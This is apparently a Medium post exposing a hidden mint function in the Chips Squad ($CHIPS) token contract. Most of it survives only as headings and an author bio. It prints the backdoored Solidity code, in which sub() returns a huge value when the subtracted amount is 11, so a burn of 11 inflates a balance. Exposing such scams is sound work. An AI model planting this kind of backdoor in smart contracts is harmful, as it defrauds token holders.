Chips Squad ($CHIPS) Hidden Mint Function

Background

Contract

The hidden mint function

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (b == 11) return ~uint120(0);
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function _burn(address account, uint256 amount) internal virtual {
_balances[account] = _balances[account].sub(amount);
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}

The Attack — Overview

_balances[account] = _balances[account].sub(amount)

The attack — Step by step

Conclusion

About Solid Group

--

--

We are a group 3 software developers with combined experience of over 15years in various fields such as Software design, Operating systems, and solidity.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Solidgroup

We are a group 3 software developers with combined experience of over 15years in various fields such as Software design, Operating systems, and solidity.